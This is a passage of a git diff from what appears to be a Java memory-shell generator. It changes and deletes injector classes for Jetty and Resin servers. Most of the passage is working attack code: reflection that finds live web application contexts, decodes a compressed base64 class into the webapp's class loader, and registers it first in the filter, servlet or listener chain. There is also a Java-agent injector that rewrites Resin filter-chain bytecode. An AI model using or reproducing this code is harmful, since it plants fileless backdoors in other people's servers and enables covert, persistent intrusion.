invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
||||
|
||||
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||
Object[] newMappings = null;
|
||||
if (mappings == null || Array.getLength(mappings) == 0) {
|
||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||
} else {
|
||||
int length = Array.getLength(mappings);
|
||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||
}
|
||||
newMappings[0] = filterMapping;
|
||||
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||
try {
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
} catch (NoSuchMethodException e) {
|
||||
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
|
||||
if (_chainCache != null) {
|
||||
for (Map cache : _chainCache) {
|
||||
if (cache != null) cache.clear();
|
||||
if (filterMaps.getClass().isArray()) {
|
||||
filterLength = Array.getLength(filterMaps);
|
||||
for (int i = 0; i < filterLength; i++) {
|
||||
Object filter = Array.get(filterMaps, i);
|
||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||
if (filterName.equals(getClassName())) {
|
||||
reorderedFilters.add(0, filter);
|
||||
} else {
|
||||
reorderedFilters.add(filter);
|
||||
}
|
||||
}
|
||||
for (int i = 0; i < filterLength; i++) {
|
||||
Array.set(filterMaps, i, reorderedFilters.get(i));
|
||||
}
|
||||
} else if (filterMaps instanceof ArrayList) {
|
||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
||||
for (Object filter : filterList) {
|
||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||
if (filterName.equals(getClassName())) {
|
||||
reorderedFilters.add(0, filter);
|
||||
} else {
|
||||
reorderedFilters.add(filter);
|
||||
}
|
||||
}
|
||||
filterList.clear();
|
||||
filterList.addAll(reorderedFilters);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -181,19 +188,6 @@ public class JettyFilterInjector {
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||
try {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||
for (Object o : hostConfigs.values()) {
|
||||
Map apps = (Map) getFieldValue(o, "webapps");
|
||||
contexts.addAll(apps.values());
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@@ -110,8 +110,7 @@ public class JettyHandlerInjector {
|
||||
if (entry != null) {
|
||||
Object threadLocalValue = getFieldValue(entry, "value");
|
||||
if (threadLocalValue != null) {
|
||||
if (threadLocalValue.getClass().getName().contains("HttpConnection")
|
||||
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
|
||||
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
||||
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -29,7 +29,7 @@ public class JettyListenerInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -98,19 +98,6 @@ public class JettyListenerInjector {
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||
try {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||
for (Object o : hostConfigs.values()) {
|
||||
Map apps = (Map) getFieldValue(o, "webapps");
|
||||
contexts.addAll(apps.values());
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@@ -5,8 +5,9 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
@@ -41,7 +42,7 @@ public class JettyServletInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -110,20 +111,6 @@ public class JettyServletInjector {
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||
try {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||
for (Object o : hostConfigs.values()) {
|
||||
Map apps = (Map) getFieldValue(o, "webapps");
|
||||
contexts.addAll(apps.values());
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@@ -14,11 +14,9 @@ import java.util.zip.GZIPInputStream;
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/caucho/server/http/FilterChainFilter",
|
||||
"com/caucho/server/dispatch/FilterFilterChain",
|
||||
};
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
@@ -40,10 +38,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -52,24 +48,22 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (className.equals(targetClass)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
|
||||
@@ -6,10 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -42,7 +39,7 @@ public class ResinFilterInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -139,11 +136,6 @@ public class ResinFilterInjector {
|
||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(urlPattern, "init", null, null);
|
||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||
|
||||
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
|
||||
filterMappings.remove(filterMappingImpl);
|
||||
filterMappings.add(0, filterMappingImpl);
|
||||
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
@@ -201,25 +193,30 @@ public class ResinFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -6,6 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
@@ -37,7 +38,7 @@ public class ResinListenerInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -181,25 +182,30 @@ public class ResinListenerInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -6,9 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -42,7 +40,7 @@ public class ResinServletInjector {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -185,25 +183,30 @@ public class ResinServletInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -1,270 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object filter) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
ClassLoader loader = context.getClass().getClassLoader();
|
||||
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
|
||||
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
|
||||
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
|
||||
Object filterConfig = newInstance(
|
||||
qFilterConfigClass,
|
||||
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
|
||||
new Object[]{context, getClassName(), getClassName(), null});
|
||||
filters.put(getClassName(), filterConfig);
|
||||
|
||||
List filterList = (List) getFieldValue(context, "_filterList");
|
||||
if (filterList != null && !filterList.contains(filterConfig)) {
|
||||
filterList.add(filterConfig);
|
||||
}
|
||||
|
||||
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
|
||||
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
|
||||
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
|
||||
|
||||
List filterMaps = (List) getFieldValue(context, "_filterMap");
|
||||
synchronized (filterMaps) {
|
||||
filterMaps.add(0, filterMap);
|
||||
}
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance(param);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,248 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
